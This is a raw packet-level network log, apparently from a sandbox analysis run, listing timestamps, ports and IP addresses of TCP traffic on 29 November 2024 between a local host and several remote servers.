Nov 29, 2024 20:07:33.680486917 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.680577040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.680622101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.681663990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.681708097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.681759119 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.681797981 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.682866096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.682904959 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.683005095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.683039904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.684047937 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.684084892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.684160948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.684195042 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.685245037 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.685283899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.685353994 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.685396910 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.686471939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.686494112 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.686510086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.686527014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.687661886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.687695026 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.687777042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.687819004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.688883066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.688922882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.689017057 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.689052105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.690057993 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.690097094 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.690172911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.690207958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.691270113 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.691308975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.691390991 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.691427946 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.692475080 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.692513943 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.692576885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.692611933 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.693687916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.693726063 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.693799973 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.693837881 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.694890022 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.694922924 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.695019960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.695055008 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.696105957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.696144104 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.696166039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.696201086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.697309017 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.697348118 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.697423935 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.697459936 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.698504925 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.698544979 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.698630095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.698664904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.699724913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.699767113 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.699819088 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.699856043 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.700907946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.700947046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.700956106 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.700994968 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.702101946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.702142000 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.702198029 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.702239037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.703320026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.703360081 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.703432083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.703468084 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.704520941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.704561949 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.704605103 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.704641104 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.705718040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.705756903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.705837965 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.705878973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.706933975 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.706976891 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.707055092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.707099915 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:33.708103895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:33.708144903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:35.942045927 CET	50067	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:35.942308903 CET	50069	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:36.063112974 CET	80	50069	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:36.063186884 CET	50069	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:36.063260078 CET	80	50067	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:36.063317060 CET	50067	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:36.063429117 CET	50069	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:36.187264919 CET	80	50069	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:36.648807049 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:36.648875952 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:36.649276972 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:36.652295113 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:36.652308941 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:37.512696981 CET	80	50069	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:37.512819052 CET	50069	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:37.516730070 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:37.517129898 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:37.637038946 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:37.637052059 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:37.637192011 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:37.637294054 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:37.637725115 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:37.757605076 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:37.972517014 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:37.973485947 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:37.990339994 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:37.990349054 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:37.990565062 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:38.070069075 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:38.101480007 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:38.101480007 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:38.101555109 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:38.938190937 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:38.938290119 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:38.938338041 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:38.941390991 CET	50070	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:38.941406012 CET	443	50070	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:38.969361067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.969403982 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.969413996 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.969445944 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.969731092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.969769001 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.969810963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.969820976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.969842911 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.969866991 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.970443010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.970489025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.970534086 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.970544100 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.970577955 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.970591068 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.971916914 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.971956968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:38.972023964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:38.972071886 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.090923071 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.090938091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.090981960 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.091015100 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.093631983 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.093696117 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.094564915 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:39.094625950 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:39.094679117 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:39.095082998 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:39.095094919 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:39.095436096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.095475912 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.210849047 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.210864067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.210921049 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.210921049 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.213573933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.213601112 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.213646889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.213646889 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.215368032 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.215419054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.334101915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334223986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334235907 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334245920 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334256887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334268093 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334280014 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334290981 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334304094 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334316015 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334346056 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.334455967 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.334616899 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334635019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334645033 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334656000 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334666967 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334677935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334686995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334697008 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334708929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.334729910 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.334822893 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.334981918 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.335354090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.338457108 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.353872061 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.353919029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.354434013 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.357707977 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.357901096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.358259916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.365495920 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.365636110 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.366447926 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.373173952 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.373286963 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.374445915 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.455209017 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.455362082 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.458584070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.459001064 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.459095001 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.459276915 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.466798067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.466875076 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.470438957 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.474499941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.474622965 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.478739023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.481498003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.481604099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.481770039 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.488504887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.488631964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.488748074 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.494647026 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.494704008 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.494806051 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.500184059 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.500250101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.500292063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.500672102 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.505513906 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.505616903 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.505647898 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.506408930 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.510787010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.510829926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.510890007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.511056900 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.515960932 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.516057014 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.516061068 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.516211987 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.520982027 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.521034956 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.521157026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.526140928 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.526241064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.526278019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.526390076 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.531346083 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.531387091 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.531424046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.531565905 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.536780119 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.536896944 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.537014961 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.541667938 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.541763067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.541873932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.546864986 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.546969891 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.547008038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.550416946 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.552048922 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.552160025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.552268028 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.557216883 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.557328939 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.557431936 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.562400103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.562526941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.562534094 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.562741041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.567706108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.567742109 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.567781925 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.568095922 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.572782993 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.572885990 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.572946072 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.577920914 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.578038931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.578094959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.583159924 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.583323002 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.583431959 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.588330030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.588426113 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.588443041 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.588546038 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.593502045 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.593599081 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.593619108 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.593708992 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.598680019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.598768950 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.598788023 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.598838091 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.603831053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.603909016 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.604028940 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.604115963 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.609119892 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.609213114 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.609618902 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.614203930 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.614305019 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.614315987 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.618407965 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.619401932 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.619489908 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.619498968 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.619981050 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.624546051 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.624656916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.624670029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.626633883 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.629738092 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.629812002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.629965067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.630065918 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.634953022 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.635044098 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.637722015 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.640214920 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.640328884 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.640397072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.640491009 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.645282984 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.645351887 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.645390987 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.646061897 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:39.650296926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:39.650391102 CET	50071	80	192.168.2.4	185.215.113.16
